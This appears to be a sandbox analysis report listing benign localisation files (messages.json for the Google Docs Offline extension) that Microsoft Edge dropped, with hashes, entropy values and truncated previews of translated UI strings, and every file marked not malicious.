C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8092_1132801430\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
